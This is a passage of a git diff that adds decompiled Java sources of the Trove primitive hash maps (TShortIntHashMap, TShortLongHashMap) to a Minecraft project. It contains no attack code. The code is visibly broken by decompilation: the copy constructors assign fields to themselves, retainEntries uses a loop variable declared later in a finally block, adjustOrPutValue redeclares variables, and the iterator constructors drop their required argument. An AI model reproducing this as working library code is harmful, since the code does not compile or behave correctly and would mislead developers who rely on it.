+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TShortFloatMap)) {
+      return false;
+    }
+    TShortFloatMap that = (TShortFloatMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    float[] values = _values;
+    byte[] states = _states;
+    float this_no_entry_value = getNoEntryValue();
+    float that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        short key = _set[i];
+        float that_value = that.get(key);
+        float this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TShortFloatProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(short key, float value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeShort(_set[i]);
+        out.writeFloat(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      short key = in.readShort();
+      float val = in.readFloat();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TShortIntHashMap.java b/src/minecraft/gnu/trove/map/hash/TShortIntHashMap.java
new file mode 100644
index 0000000..8d7f3bf
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TShortIntHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.impl.hash.TShortIntHash;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.iterator.TShortIntIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TShortIntMap;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TShortIntProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortIntHashMap
+  extends TShortIntHash
+  implements TShortIntMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient int[] _values;
+  
+  public TShortIntHashMap() {}
+  
+  public TShortIntHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortIntHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TShortIntHashMap(int initialCapacity, float loadFactor, short noEntryKey, int noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TShortIntHashMap(short[] keys, int[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TShortIntHashMap(TShortIntMap map)
+  {
+    super(map.size());
+    if ((map instanceof TShortIntHashMap)) {
+      TShortIntHashMap hashmap = (TShortIntHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    short[] oldKeys = _set;
+    int[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new short[newCapacity];
+    _values = new int[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        short o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public int put(short key, int value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public int putIfAbsent(short key, int value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private int doPut(short key, int value, int index)
+  {
+    int previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Short, ? extends Integer> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Short, ? extends Integer> entry : map.entrySet()) {
+      put(((Short)entry.getKey()).shortValue(), ((Integer)entry.getValue()).intValue());
+    }
+  }
+  
+
+  public void putAll(TShortIntMap map)
+  {
+    ensureCapacity(map.size());
+    TShortIntIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public int get(short key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public int remove(short key)
+  {
+    int prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TShortSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public short[] keys()
+  {
+    short[] keys = new short[size()];
+    short[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public short[] keys(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TIntCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public int[] values()
+  {
+    int[] vals = new int[size()];
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public int[] values(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(int val)
+  {
+    byte[] states = _states;
+    int[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(short key)
+  {
+    return contains(key);
+  }
+  
+
+  public TShortIntIterator iterator()
+  {
+    return new TShortIntHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TShortProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TShortIntProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] keys = _set;
+    int[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TIntFunction function)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TShortIntProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    short[] keys = _set;
+    int[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(short key)
+  {
+    return adjustValue(key, 1);
+  }
+  
+
+  public boolean adjustValue(short key, int amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public int adjustOrPutValue(short key, int adjust_amount, int put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    int newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      int newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TShortSet
+  {
+    protected TKeyView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TShortIntHashMap.TShortIntKeyHashIterator(TShortIntHashMap.this, TShortIntHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return TShortIntHashMap.this.contains(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!TShortIntHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TShortSet)) {
+        return false;
+      }
+      TShortSet that = (TShortSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TIntCollection
+  {
+    protected TValueView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TShortIntHashMap.TShortIntValueHashIterator(TShortIntHashMap.this, TShortIntHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return values();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      int[] values = _values;
+      short[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TShortIntKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TShortIntKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TShortIntValueHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TShortIntValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TShortIntHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIntIterator
+  {
+    TShortIntHashIterator(TShortIntHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public short key()
+    {
+      return _set[_index];
+    }
+    
+    public int value()
+    {
+      return _values[_index];
+    }
+    
+    public int setValue(int val)
+    {
+      int old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TShortIntMap)) {
+      return false;
+    }
+    TShortIntMap that = (TShortIntMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    int[] values = _values;
+    byte[] states = _states;
+    int this_no_entry_value = getNoEntryValue();
+    int that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        short key = _set[i];
+        int that_value = that.get(key);
+        int this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TShortIntProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(short key, int value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeShort(_set[i]);
+        out.writeInt(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      short key = in.readShort();
+      int val = in.readInt();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TShortLongHashMap.java b/src/minecraft/gnu/trove/map/hash/TShortLongHashMap.java
new file mode 100644
index 0000000..aad038f
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TShortLongHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.impl.hash.TShortLongHash;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.iterator.TShortLongIterator;
+import gnu.trove.map.TShortLongMap;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.procedure.TShortLongProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortLongHashMap
+  extends TShortLongHash
+  implements TShortLongMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient long[] _values;
+  
+  public TShortLongHashMap() {}
+  
+  public TShortLongHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortLongHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TShortLongHashMap(int initialCapacity, float loadFactor, short noEntryKey, long noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TShortLongHashMap(short[] keys, long[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TShortLongHashMap(TShortLongMap map)
+  {
+    super(map.size());
+    if ((map instanceof TShortLongHashMap)) {
+      TShortLongHashMap hashmap = (TShortLongHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0L) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    short[] oldKeys = _set;
+    long[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new short[newCapacity];
+    _values = new long[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        short o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public long put(short key, long value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public long putIfAbsent(short key, long value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private long doPut(short key, long value, int index)
+  {
+    long previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Short, ? extends Long> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Short, ? extends Long> entry : map.entrySet()) {
+      put(((Short)entry.getKey()).shortValue(), ((Long)entry.getValue()).longValue());
+    }
+  }
+  
+
+  public void putAll(TShortLongMap map)
+  {
+    ensureCapacity(map.size());
+    TShortLongIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public long get(short key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public long remove(short key)
+  {
+    long prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TShortSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public short[] keys()
+  {
+    short[] keys = new short[size()];
+    short[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
